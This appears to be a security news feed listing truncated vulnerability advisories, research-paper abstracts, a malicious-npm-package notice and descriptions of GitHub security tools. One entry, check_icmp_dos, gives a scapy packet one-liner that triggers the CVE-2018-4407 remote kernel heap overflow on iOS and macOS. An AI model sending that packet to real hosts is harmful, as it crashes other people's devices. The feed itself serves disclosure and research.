CVE-2026-104712: Asymmetric Resource Consumption (Amplification)

Asymmetric resource consumption amplification vulnerability in Apache Struts. When a request parameter is bound to an arbitrary-precision decimal java.math.BigDecimal property that is then rendered through the Struts tag library, the framework can produce a response many orders of magnitude large...

ROS-20261005-73-0122

The vulnerability of the ucanreadbulkcallback function in the drivers/net/can/usb/ucan.c file of the Linux network device driver framework leads to uncontrolled resource consumption. Exploiting this vulnerability could allow an attacker to cause service failures...

PT-2026-104758

P4 Search prior to 2026.4.2 does not fail securely when its service authentication token is blank. In affected configurations, an unauthenticated attacker with network access can obtain the highest application privilege, potentially leading to compromise of P4 Search and the connected P4 Server...

ROS-20261005-73-0004

The vulnerability of the addimpliedinclude function in the rsync network daemon—a utility for transferring and synchronizing files—is related to buffer overflow attacks. Exploiting this vulnerability could allow a malicious actor to cause service interruptions...

AgentSpy: Making AI Agent Behavior Observable

AI agents built on large language models LLMs run shell commands, read and write files, and reach the network, typically with their user's privileges. However, what an agent does during an execution is difficult to understand: tests assert on the result, and the agent's trajectory records only wh...

Adaptive-Shot Hybrid Quantum Anomaly Detection for Tactile Internet Security: Reliability-Aware Measurement Allocation under Resource Constraints

Tactile Internet TI security analytics must balance reliable thresholded decisions with constrained computational and measurement resources. We study this tension for finite-shot hybrid quantum anomaly inference and introduce the Adaptive-Shot Variational Quantum Circuit AS-VQC policy. This...

CVE-2026-105766: Cleartext Transmission of Sensitive Information

Use of the backend-facing $scheme variable in the trailing-slash directory redirect in nginx.conf of Chainguard Academy edu from commit 0b75ff98057f69b044a3e7194e428066ac5ad0d4 before commit 93dc0e50739c225f5aee2e803800a47fc0feb906 allows an on-path network attacker to read or modify documentatio...

ANT: A Multi-Granularity Network Traffic Dataset and Benchmark for Agents Behavior Auditing

The growing adoption of large language model LLM agents creates a need for network administrators and security teams to audit agent behavior within organizational networks without inspecting private user content. Network traffic offers an observable source of evidence, but how much it reveals abo...

PT-2026-106181

Name of the Vulnerable Software and Affected Versions Ghost versions 6.54.1 through 6.64.0 Description A validation issue in the Webmentions functionality allows an unauthenticated user to perform limited HTTP requests to hosts within the internal network of the Ghost server. This type of flaw is...

CVE-2026-105647: Time-of-check Time-of-use (TOCTOU) Race Condition

Ghost is a Node.js content management system. From 6.54.1 until 6.65.0, a validation issue allowed some functionality, such as Webmentions, to be abused by an unauthenticated user to make limited HTTP requests to hosts in the Ghost server's internal network. A successful attack would not result i...

Deep Defence on Wheels: A Dual Intrusion Detection System Architecture for Comprehensive In-Vehicle Network Security

Increasing connectivity to the outside world and the lack of inbuilt security mechanisms have made legacy intra-vehicular networks vulnerable to cyberattacks. Initial research focused on maximising detection accuracy for known and unknown attacks, often using large, full-precision machine learnin...

CVE-2024-36971

CVE-2024-36971 — Preuve de concept Recherche et analyse uniquement ⚠️ AVERTISSEMENT — LISEZ AVANT D'UTILISER CE DÉPÔT Ce dépôt est destiné uniquement à des fins de recherche défensive, d'analyse et de signalement responsable. Il contient un fichier de preuve de concept non exploitable nommé...

MAL-2026-17479 Malicious code in css-gap-decorations-polyfill (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8126656cc344a4f632b8ddf5a23683fc92ac22798bb67e1aed6bca73ac82d7b6 The package is published as a CSS polyfill but ships no polyfill functionality. On require, thunderboltRegistry.js uses childprocess.execSync to run...

check_icmp_dos

checkicmpdos iOS 12 / OS X Удаленное переполнение кучи ядра CVE-2018-4407 POC： pip install scapy sudo scapy sendIPdst=“Target IP“,options=IPOption“A”8/TCPdport=2323,options=19, “1"18,19, “2”18 Или используйте скрипт python checkicmpdos.py 127.0.0.1 Эта уязвимость позволяет злоумышленнику,...

zeek-jetdirect

Paquet Zeek pour zeek-jetdirect .. image::...

aws-vault

AWS Vault !WARNING This project has been abandoned and it's not receiving any more updates. If you want to continue to receive updates or contribute, please feel free to look at the active fork at: https://github.com/ByteNess/aws-vault AWS Vault is a tool to securely store and access AWS...

jugular

jugular Используйте jugs для поиска CUPS: сверхбыстрый UDP-отправитель, который пытается заставить слушающие процессы cups-browsed выполнить HTTP callback. Это высокопроизводительный сканер, записывающий UDP-пакеты напрямую в сеть. Установка Ubuntu или аналогичные sudo apt install golang...

anviz-m3-rfid-cve-2019-11523-poc

Проблемы безопасности Anviz M3 RFID Access Control В устройстве Anviz M3 RFID Access Control были обнаружены проблемы безопасности при работе в автономном режиме с подключением к сети TCP/IP, которые могут привести к обходу контроля доступа, а также к утечке и изменению личной информации...

Internet-Scanner

Scanneur de réseau local Une interface graphique Tkinter qui scanne un réseau IPv4 local ARP + sondage nmap, affiche les appareils, permet d'exécuter des scans de ports complets et d'exporter les résultats. Aperçu rapide Scan ARP pour découvrir les appareils sur le LAN. Sondages nmap améliorés po...

phantomprint

PHANTOMPRINT Outil d'analyse hybride passive pour le profilage multiprotocole et l'intelligence agnostique du système d'exploitation Identifiez les hôtes sur votre réseau sans envoyer un seul paquet. PHANTOMPRINT corrèle plusieurs signaux passifs pile TCP/IP, TLS/JA4, DHCP Option 55, HTTP/2 HPACK...